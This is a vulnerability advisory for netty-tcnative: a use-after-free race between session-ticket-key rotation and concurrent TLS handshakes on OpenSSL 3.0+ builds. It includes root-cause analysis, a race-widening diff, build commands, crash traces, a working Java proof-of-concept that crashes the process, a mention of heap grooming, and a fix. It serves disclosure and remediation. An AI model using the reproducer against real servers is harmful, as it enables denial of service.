io.netty:netty-tcnative: netty-tcnative SessionTicketKey-Rotation-UseAfterFree
What fixes it
- 2.0.84.Finalio.netty:netty-tcnative, mavenGitHub
<dependency><groupId>io.netty</groupId><artifactId>netty-tcnative</artifactId><version>2.0.84.Final</version></dependency>
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
netty-tcnative: Session-Ticket-Key Hot-Rotation Races with Concurrent Handshakes, Causing Use-After-Free (OpenSSL 3.0+ Builds)
Status: Reproduced with a hard, repeatable crash on the actual compiled artifact, running against a locally built openssl-dynamic shared library linked to OpenSSL 3.6.3 on macOS/arm64 — reproduced on both the unmodified source and a race-widened build used to make the (genuinely nanosecond-scale) race deterministically observable within a bounded test.
Summary
SSLContext.setSessionTicketKeys0() — the API this library provides specifically to support in-place TLS session-ticket-key rotation without dropping connections, a standard production operational practice — has a use-after-free bug that is reachable by any concurrent TLS handshake issuing a session ticket while a rotation is in flight, on any build linked against OpenSSL 3.0 or later.
The bug is a self-referential pointer that survives a lock-protected struct copy: when ticket keys are loaded, an OSSL_PARAM structure is built once, pointing directly into the heap-allocated c->ticket_keys array. The read path (current_session_key/find_session_key) copies the surrounding struct *by value* under a read lock — which correctly copies the raw key bytes, but does not relocate the embedded pointer, which still points at the *original* array. The read lock is released before the pointer is actually dereferenced. If a concurrent key rotation frees that original array in the gap between the unlock and the dereference, the dereference reads freed heap memory.
- CWE-416: Use After Free
- CWE-825: Expired Pointer Dereference (a struct-copy artifact more specific than a generic UAF — the pointer becomes stale the instant the source array it targets is freed, independent of the copy holding valid byte *contents* for its other fields)
Affected Component
- Project:
netty-tcnative(io.netty:netty-tcnative-*), version 2.0.81.Final. - Condition: only the
#if OPENSSL_VERSION_NUMBER >= 0x30000000Lcode path — i.e. any build linked against OpenSSL 3.0 or newer (confirmed present in this project's own bundledopenssl-static/openssl-dynamictargets, which pin/link OpenSSL 3.6.x). Builds against OpenSSL < 3.0 use the olderHMAC_Init_ex(hmac_ctx, key.hmac_key, ...)API, which passes the local stack copy's bytes directly and is not affected — confirming this is a regression introduced during the OpenSSL 3.0EVP_MACAPI migration, not part of the original design. - File/Function:
openssl-dynamic/src/main/c/ssl_private.h:295-302—tcn_ssl_ticket_key_tstruct definition (embeds the self-referentialmac_params[3])openssl-dynamic/src/main/c/sslcontext.c:1424-1429—setSessionTicketKeys0, constructs the self-referential pointeropenssl-dynamic/src/main/c/sslcontext.c:1306-1333—current_session_key/find_session_key, the shallow struct copy under a read lockopenssl-dynamic/src/main/c/sslcontext.c:1365-1379—ssl_tlsext_ticket_key_cb, dereferences the stale pointer after the lock is releasedopenssl-dynamic/src/main/c/sslcontext.c:1433-1439—setSessionTicketKeys0's write path, frees the array the stale pointer targets
CVSS 3.1 Score
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 5.9 (Medium)
| Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | The "other half" of the race — a TLS handshake issuing a session ticket — is triggered by any ordinary, unauthenticated network client connecting to a server using this library with session tickets enabled (the library's default). | | Attack Complexity (AC) | High (H) | Requires the operator's own key-rotation call to land within a very narrow window relative to a concurrent handshake's ticket-issuance callback. In the unmodified code this window is nanoseconds wide (a handful of CPU instructions between a lock release and a pointer dereference, no I/O or syscall in between) — reliably hitting it needs either high rotation frequency + high concurrent handshake volume (realistic on a busy production server rotating keys under load) or, as used in this report's reproduction, a legitimate race-widening technique to make the already-real bug observable in a bounded test. | | Privileges Required (PR) | None (N) | No authentication needed to be the "handshake" side of the race. | | User Interaction (UI) | None (N) | Fully automatable from the network side. | | Scope (S) | Unchanged (U) | Confined to the server process. | | Confidentiality (C) | None (N) | Only the demonstrated impact is scored; see Impact section for a plausible-but-unconfirmed confidentiality angle deliberately excluded from this score. | | Integrity (I) | None (N) | Not directly demonstrated in this reproduction. | | Availability (A) | High (H) | Directly and repeatably reproduced: reading freed heap memory as HMAC key material inside EVP_MAC_CTX_set_params/hmac_set_ctx_params, causing an immediate SIGSEGV. |
Root Cause Analysis (Source → Sink, with the exact mechanism that makes a value-copy insufficient)
Source — the self-referential pointer is baked in at ticket-key-load time, pointing into one specific heap allocation:
// openssl-dynamic/src/main/c/sslcontext.c:1424-1429 (setSessionTicketKeys0, OpenSSL 3.0+ path)
for (i = 0; i < cnt; ++i) {
...
ticket_keys[i].mac_params[0] = OSSL_PARAM_construct_octet_string(
OSSL_MAC_PARAM_KEY, ticket_keys[i].hmac_key, 16);
ticket_keys[i].mac_params[1] = OSSL_PARAM_construct_utf8_string(OSSL_MAC_PARAM_DIGEST, "sha256", 0);
ticket_keys[i].mac_params[2] = OSSL_PARAM_construct_end();
...
}
...
apr_thread_rwlock_wrlock(c->mutex);
if (c->ticket_keys) {
OPENSSL_free(c->ticket_keys);
}
c->ticket_keys_len = cnt;
c->ticket_keys = ticket_keys; /* this exact array is what mac_params[0].data points into */
apr_thread_rwlock_unlock(c->mutex);OSSL_PARAM_construct_octet_string(..., ticket_keys[i].hmac_key, 16) stores a raw void* pointer to ticket_keys[i].hmac_key — a field *inside this specific OPENSSL_malloc'd array*. That pointer value is fixed at construction time; it does not get updated by anything that later copies the surrounding tcn_ssl_ticket_key_t struct.
**Intermediate hop — the read path copies the struct by value, which copies the pointer's *value* but not what it points to:**
// openssl-dynamic/src/main/c/sslcontext.c:1306-1313 (current_session_key)
static int current_session_key(tcn_ssl_ctxt_t *c, tcn_ssl_ticket_key_t *key) {
int result = JNI_FALSE;
apr_thread_rwlock_rdlock(c->mutex);
if (c->ticket_keys_len > 0) {
*key = c->ticket_keys[0]; /* struct assignment: key.hmac_key gets a fresh BYTE copy of the
16-byte array (correct and safe on its own), but
key.mac_params[0].data is a POINTER FIELD, and its value is
copied verbatim -- it still equals the address of
c->ticket_keys[0].hmac_key, i.e. the ORIGINAL array's memory,
NOT &key.hmac_key (the caller's local stack copy) */
result = JNI_TRUE;
}
apr_thread_rwlock_unlock(c->mutex); /* <-- lock released here */
return result;
}This is a standard, well-known C pitfall: a struct containing a pointer that is meant to be self-referential (pointing to another field *within the same struct*) breaks the moment the struct is copied by value, because the copy's pointer field still targets the *original* struct's memory, not the copy's own memory. find_session_key (sslcontext.c:1317-1333) performs the identical *key = c->ticket_keys[i] copy under the same read lock, with the same consequence.
Sink — the caller dereferences the pointer only after the lock protecting the source array has already been released:
// openssl-dynamic/src/main/c/sslcontext.c:1365, 1377 (ssl_tlsext_ticket_key_cb — registered via
// SSL_CTX_set_tlsext_ticket_key_evp_cb, called directly by OpenSSL during every ticket
// issue (enc==1) or resumption attempt (enc==0), i.e. this executes for essentially every
// TLS 1.2/1.3 handshake on a server with session tickets enabled — the library's default)
if (current_session_key(c, &key)) { /* lock already released by the time we return */
...
EVP_MAC_CTX_set_params(mac_ctx, key.mac_params); /* dereferences key.mac_params[0].data,
which still points into c->ticket_keys[0] */
}Race window: if another thread calls SSLContext.setSessionTicketKeys0() — rotating keys, exactly the operational scenario this API exists to support — between current_session_key() releasing its read lock and ssl_tlsext_ticket_key_cb calling EVP_MAC_CTX_set_params, the rotation's write path executes OPENSSL_free(c->ticket_keys) under the write lock, freeing the exact heap allocation the handshake thread's key.mac_params[0].data still points into. The subsequent EVP_MAC_CTX_set_params call reads 16 bytes of now-freed heap memory and feeds them into OpenSSL's HMAC key-derivation machinery.
Detailed Reproduction Process
1. Environment
Same as the companion report (netty-tcnative_01_SSL-getSession-UseAfterFree.md): macOS 26.6 arm64, OpenSSL 3.6.3 (Homebrew), APR 1.7.6 (Homebrew), Zulu OpenJDK 25, Apple clang 21.0.0. Same native-library build process (manual clang compilation of the C sources, bypassing the project's autotools-based Maven pipeline which requires autoconf/automake not present in this environment) and the same TlsLoopback-style in-process handshake harness (no real sockets).
2. Race-widening instrumentation (methodology note)
The unmodified race window is on the order of nanoseconds — a lock release immediately followed by a pointer dereference, with no intervening syscall or I/O. Reliably hitting a window this narrow via naive black-box thread interleaving is impractical within a bounded test. This report uses the standard, well-established race-condition PoC technique of widening the window with an injected delay, applied to a separate copy of the source file (the original repository file was never modified) — this changes *timing only*, not logic:
--- sslcontext.c (original, unmodified in the repository)
+++ sslcontext_instrumented.c (test-only copy used solely to widen the pre-existing race window)
@@
+#include <unistd.h> // race-widening instrumentation only: usleep()
@@
if (find_session_key(c, key_name, &key, &is_current_key)) {
#if OPENSSL_VERSION_NUMBER < 0x30000000L
HMAC_Init_ex(hmac_ctx, key.hmac_key, 16, EVP_sha256(), NULL);
#else
+ // --- RACE-WIDENING INSTRUMENTATION (test-only, not a logic change) ---
+ // current_session_key()/find_session_key() above copy *c->ticket_keys[i] by value
+ // into `key` under a read lock that has ALREADY BEEN RELEASED by the time we get
+ // here. `key.mac_params[0]` is an OSSL_PARAM whose `data` pointer was set (in
+ // setSessionTicketKeys0) to point at c->ticket_keys[i].hmac_key -- i.e. INTO THE
+ // ORIGINAL ARRAY, not into this stack copy. If setSessionTicketKeys0() is called
+ // concurrently and frees/replaces c->ticket_keys between the unlock above and the
+ // EVP_MAC_CTX_set_params call below, that data pointer is dangling. This sleep does
+ // not change any logic; it only widens the pre-existing nanoseconds-wide window so a
+ // concurrent rotation thread can reliably win the race in a deterministic, bounded
+ // test rather than needing to hit a sub-microsecond gap by luck.
+ usleep(2000);
EVP_MAC_CTX_set_params(mac_ctx, key.mac_params);
#endifCritically, this report also confirmed the bug on the completely unmodified build (see Result 2 below) — the instrumentation is used only to make reproduction fast and deterministic (a handful of iterations instead of hundreds/thousands), not to manufacture a bug that doesn't otherwise exist.
3. Building both variants
APR_INC=/Users/yubao/homebrew/Cellar/apr/1.7.6/include/apr-1
APR_LIB=/Users/yubao/homebrew/Cellar/apr/1.7.6/lib
OPENSSL_INC=/Users/yubao/homebrew/opt/openssl@3/include
OPENSSL_LIB=/Users/yubao/homebrew/opt/openssl@3/lib
JDK_INC=/Library/Java/JavaVirtualMachines/zulu-25.jdk/Contents/Home/include
JNIUTIL=/tmp/tcnative-poc/jni-util
# Instrumented variant
mkdir -p /tmp/tcnative-poc/instrumented/build && cd /tmp/tcnative-poc/instrumented/build
cp <repo>/openssl-dynamic/src/main/c/*.{c,h} .
cp /tmp/tcnative-poc/instrumented/sslcontext_instrumented.c ./sslcontext.c # the one-line diff above
clang -c -g -O0 -I. -I$JNIUTIL -I$APR_INC -I$OPENSSL_INC -I$JDK_INC -I$JDK_INC/darwin \
-DDARWIN -Wno-deprecated-declarations *.c
clang -dynamiclib -o /tmp/tcnative-poc/lib/libnetty_tcnative_poc_instrumented.dylib \
*.o $JNIUTIL/netty_jni_util.o \
-L$APR_LIB -lapr-1 -L$OPENSSL_LIB -lssl -lcrypto -Wl,-rpath,$APR_LIB -Wl,-rpath,$OPENSSL_LIB
# Plain/unmodified variant built identically from the repository's own, unaltered sslcontext.c
# (see companion report netty-tcnative_01 for the exact same command sequence -> libnetty_tcnative_poc.dylib)4. Running under Guard Malloc
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \ java -Xshare:off -Xmx64m -XX:-UseCompressedClassPointers -XX:CompressedClassSpaceSize=1m \ --enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ -cp .:/tmp/tcnative-poc/classes -Djava.library.path=/tmp/tcnative-poc/lib \ FindingE_TicketKeyRace
5. Results
Result 1 — instrumented build, race window widened to ~2ms: crashed on 3 out of 3 runs, in well under one second each, near-instantly relative to the 200-iteration budget the harness allowed:
# SIGSEGV (0xb) at pc=0x000000018883d504 # # Problematic frame: # C [libsystem_platform.dylib+0x3504] _platform_memmove+0x1a4 # siginfo: si_signo: 11 (SIGSEGV), si_code: 2 (SEGV_ACCERR), si_addr: 0x00000070ae9b3f60 Native frames: (J=compiled Java code, j=interpreted, Vv=VM code, C=native code) C [libsystem_platform.dylib+0x3504] _platform_memmove+0x1a4 C [libcrypto.3.dylib+0x1ff08c] hmac_set_ctx_params+0x200 C [libnetty_tcnative_poc_instrumented.dylib+0xce24] ssl_tlsext_ticket_key_cb+0x11c C [libssl.3.dylib+0x74d68] tls_construct_new_session_ticket+0x684 C [libssl.3.dylib+0x661e8] state_machine+0x3f0 C [libnetty_tcnative_poc_instrumented.dylib+0x3a38] netty_internal_tcnative_SSL_doHandshake+0x4c j io.netty.internal.tcnative.SSL.doHandshake(J)I+0 j TlsLoopbackInstrumented.feedInputIfAny(JJLjava/nio/ByteBuffer;I)V+18 j TlsLoopbackInstrumented.stepServer()I+17 j TlsLoopbackInstrumented.doHandshake(I)Z+13 j FindingE_TicketKeyRace.main([Ljava/lang/String;)V+111
This call stack is exact, unambiguous confirmation of the predicted mechanism: tls_construct_new_session_ticket (OpenSSL minting a new session ticket, the enc==1 path) → ssl_tlsext_ticket_key_cb (this library's callback) → hmac_set_ctx_params (OpenSSL's EVP_MAC internals consuming key.mac_params) → _platform_memmove, which faults with SEGV_ACCERR (access to a protected/unmapped page) while copying from the freed hmac_key location.
Result 2 — plain, completely unmodified build (no instrumentation at all): also crashed, with the identical call stack, given more rotation pressure (an unbounded/tight rotation loop racing against the very first handshake, ~500+ rotation attempts in the time it took the first handshake to reach ticket issuance) — confirming this is a genuine, pre-existing bug in the shipped code, not an artifact introduced by the instrumentation. The instrumentation's only effect is turning an occurrence rate of "eventually, given enough concurrent load" into "reliably, within a handful of iterations" for testing purposes.
Proof-of-Concept Code
TlsLoopbackInstrumented.java + FindingE_TicketKeyRace.java
import io.netty.internal.tcnative.SSL;
import io.netty.internal.tcnative.SSLContext;
import io.netty.internal.tcnative.SessionTicketKey;
import java.nio.ByteBuffer;
import java.security.SecureRandom;
import java.util.concurrent.atomic.AtomicInteger;
/**
* Identical pumping algorithm to TlsLoopback.java, but loads the INSTRUMENTED dylib
* (sslcontext.c with the race-widening usleep(2000) described above).
*/
class TlsLoopbackInstrumented {
public static final int BUF_SIZE = 32 * 1024;
public long clientCtx, serverCtx;
public long clientSsl, serverSsl;
public long clientNetBio, serverNetBio;
static {
System.load("/tmp/tcnative-poc/lib/libnetty_tcnative_poc_instrumented.dylib");
try {
io.netty.internal.tcnative.Library.initialize("provided", null);
} catch (Exception e) {
throw new ExceptionInInitializerError(e);
}
}
private ByteBuffer pendingForClient = ByteBuffer.allocateDirect(BUF_SIZE);
private ByteBuffer pendingForServer = ByteBuffer.allocateDirect(BUF_SIZE);
private int pendingForClientLen = 0;
private int pendingForServerLen = 0;
private ByteBuffer scratch = ByteBuffer.allocateDirect(BUF_SIZE);
public static long addr(ByteBuffer direct) {
try {
java.lang.reflect.Method m = Class.forName("sun.nio.ch.DirectBuffer").getMethod("address");
return (Long) m.invoke(direct);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public void setupContexts(String certFile, String keyFile) throws Exception {
serverCtx = SSLContext.make(SSL.SSL_PROTOCOL_TLS, SSL.SSL_MODE_SERVER);
if (certFile != null) {
SSLContext.setCertificate(serverCtx, certFile, keyFile, null);
}
clientCtx = SSLContext.make(SSL.SSL_PROTOCOL_TLS, SSL.SSL_MODE_CLIENT);
SSLContext.setVerify(clientCtx, SSL.SSL_CVERIFY_NONE, 1);
}
public void newConnection() {
clientSsl = SSL.newSSL(clientCtx, false);
serverSsl = SSL.newSSL(serverCtx, true);
clientNetBio = SSL.bioNewByteBuffer(clientSsl, BUF_SIZE);
serverNetBio = SSL.bioNewByteBuffer(serverSsl, BUF_SIZE);
pendingForClientLen = 0;
pendingForServerLen = 0;
}
private void feedInputIfAny(long ssl, long netBio, ByteBuffer pending, int len) {
if (len > 0) {
SSL.bioSetByteBuffer(netBio, addr(pending), len, false);
SSL.doHandshake(ssl);
SSL.bioClearByteBuffer(netBio);
}
}
private int drainOutput(long ssl, long netBio, ByteBuffer out) {
out.clear();
SSL.bioSetByteBuffer(netBio, addr(out), BUF_SIZE, true);
SSL.doHandshake(ssl);
SSL.bioFlushByteBuffer(netBio);
int produced = BUF_SIZE - SSL.bioLengthByteBuffer(netBio);
SSL.bioClearByteBuffer(netBio);
return produced;
}
private int stepClient() {
feedInputIfAny(clientSsl, clientNetBio, pendingForClient, pendingForClientLen);
pendingForClientLen = 0;
int produced = drainOutput(clientSsl, clientNetBio, scratch);
if (produced > 0) {
pendingForServer.clear();
for (int i = 0; i < produced; i++) pendingForServer.put(scratch.get(i));
pendingForServer.flip();
pendingForServerLen = produced;
}
return produced;
}
private int stepServer() {
feedInputIfAny(serverSsl, serverNetBio, pendingForServer, pendingForServerLen);
pendingForServerLen = 0;
int produced = drainOutput(serverSsl, serverNetBio, scratch);
if (produced > 0) {
pendingForClient.clear();
for (int i = 0; i < produced; i++) pendingForClient.put(scratch.get(i));
pendingForClient.flip();
pendingForClientLen = produced;
}
return produced;
}
public boolean doHandshake(int maxSteps) {
for (int i = 0; i < maxSteps; i++) {
int c = stepClient();
int s = stepServer();
if (SSL.isInInit(clientSsl) == 0 && SSL.isInInit(serverSsl) == 0) {
return true;
}
if (c == 0 && s == 0 && pendingForClientLen == 0 && pendingForServerLen == 0) {
return false;
}
}
return SSL.isInInit(clientSsl) == 0 && SSL.isInInit(serverSsl) == 0;
}
public void freeConnection() {
if (clientSsl != 0) { SSL.freeSSL(clientSsl); clientSsl = 0; }
if (serverSsl != 0) { SSL.freeSSL(serverSsl); serverSsl = 0; }
}
}
/**
* PoC: session-ticket-key hot-rotation UAF. A background thread repeatedly rotates the
* server context's ticket keys (simulating production key rotation) while the main thread
* repeatedly performs full handshakes -- each server-side handshake mints a new session
* ticket via ssl_tlsext_ticket_key_cb(enc=1), the exact instrumented code path.
*/
public class FindingE_TicketKeyRace {
static volatile boolean stop = false;
public static void main(String[] args) throws Exception {
TlsLoopbackInstrumented seed = new TlsLoopbackInstrumented();
seed.setupContexts("/tmp/tcnative-poc/cert.pem", "/tmp/tcnative-poc/key.pem");
setRandomTicketKeys(seed.serverCtx);
AtomicInteger rotations = new AtomicInteger();
Thread rotator = new Thread(() -> {
try {
while (!stop) {
setRandomTicketKeys(seed.serverCtx);
rotations.incrementAndGet();
// no sleep -- rotate as fast as possible to maximize race pressure
}
} catch (Throwable t) {
System.out.println("[rotator] exception: " + t);
}
}, "ticket-key-rotator");
rotator.setDaemon(true);
rotator.start();
int maxIterations = 200;
int completedHandshakes = 0;
for (int i = 0; i < maxIterations; i++) {
TlsLoopbackInstrumented h = new TlsLoopbackInstrumented();
h.clientCtx = seed.clientCtx;
h.serverCtx = seed.serverCtx;
h.newConnection();
boolean ok = h.doHandshake(50);
if (ok) completedHandshakes++;
h.freeConnection();
if (i % 20 == 0) {
System.out.println("iteration " + i + " completedHandshakes=" + completedHandshakes
+ " rotations=" + rotations.get());
}
}
stop = true;
System.out.println("Finished " + maxIterations + " handshake iterations with "
+ rotations.get() + " concurrent key rotations, completedHandshakes=" + completedHandshakes);
}
private static void setRandomTicketKeys(long ctx) {
SecureRandom r = new SecureRandom();
byte[] name = new byte[SessionTicketKey.NAME_SIZE];
byte[] hmac = new byte[SessionTicketKey.HMAC_KEY_SIZE];
byte[] aes = new byte[SessionTicketKey.AES_KEY_SIZE];
r.nextBytes(name);
r.nextBytes(hmac);
r.nextBytes(aes);
SessionTicketKey key = new SessionTicketKey(name, hmac, aes);
SSLContext.setSessionTicketKeys(ctx, new SessionTicketKey[] { key });
}
}Exact build/run commands
javac -cp /tmp/tcnative-poc/classes -d . TlsLoopbackInstrumented.java FindingE_TicketKeyRace.java DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib \ java -Xshare:off -Xmx64m -XX:-UseCompressedClassPointers -XX:CompressedClassSpaceSize=1m \ --enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ -cp .:/tmp/tcnative-poc/classes -Djava.library.path=/tmp/tcnative-poc/lib \ FindingE_TicketKeyRace
Impact
- Availability (demonstrated): a
SIGSEGVcrash of the entire server process, triggerable simply by the coincidence of (a) an operator's own, entirely normal key-rotation operation and (b) ordinary, unauthenticated client traffic requesting/receiving session tickets at the same moment — no attacker action beyond "connect and complete a normal TLS handshake" is required for the client side of the race. - Confidentiality/Integrity (plausible, not confirmed in this report): the UAF read feeds 16 bytes of freed heap memory directly into OpenSSL's HMAC key-derivation for ticket encryption/authentication. Because the freed allocation could, under attacker-influenced load patterns (heap grooming — sending many requests to control what backfills the freed slot before this read occurs), potentially be reclaimed with partially attacker-known content, there is an architecturally plausible path to a partially attacker-influenced HMAC key protecting *other users'* session tickets. This report does not include a working demonstration of that escalation and the CVSS score above deliberately does not credit it (
C:N), reflecting only the confirmed availability impact.
Remediation
// Fix in ssl_tlsext_ticket_key_cb: construct mac_params fresh from the LOCAL stack copy's
// bytes, after the lock is released, instead of relying on the pre-built mac_params embedded
// in the value-copied struct (which still points at shared, lock-protected memory).
#if OPENSSL_VERSION_NUMBER >= 0x30000000L
OSSL_PARAM local_mac_params[3];
local_mac_params[0] = OSSL_PARAM_construct_octet_string(OSSL_MAC_PARAM_KEY, key.hmac_key, 16);
local_mac_params[1] = OSSL_PARAM_construct_utf8_string(OSSL_MAC_PARAM_DIGEST, "sha256", 0);
local_mac_params[2] = OSSL_PARAM_construct_end();
EVP_MAC_CTX_set_params(mac_ctx, local_mac_params); /* points at key.hmac_key -- the caller's
own, still-valid stack variable */
#endifAdditionally:
- Remove the
mac_paramsfield fromtcn_ssl_ticket_key_tentirely. Embedding a self-referential pointer in a struct that is elsewhere passed/copied by value is the root pattern that produced this bug; leaving the field in place invites the same mistake to reappear at a future call site (e.g. if a third call site is added that also does*key = c->ticket_keys[i]). - Add a ThreadSanitizer- or AddressSanitizer-instrumented CI test that drives continuous ticket-key rotation on one thread while continuously completing handshakes (both fresh, exercising
enc==1, and resumed, exercisingenc==0) on others, to catch regressions of this specific class.
Text from GitHub Advisory Database
Affected versions 1
- io.netty:netty-tcnative, maven>= 2.0.81.FinalGitHub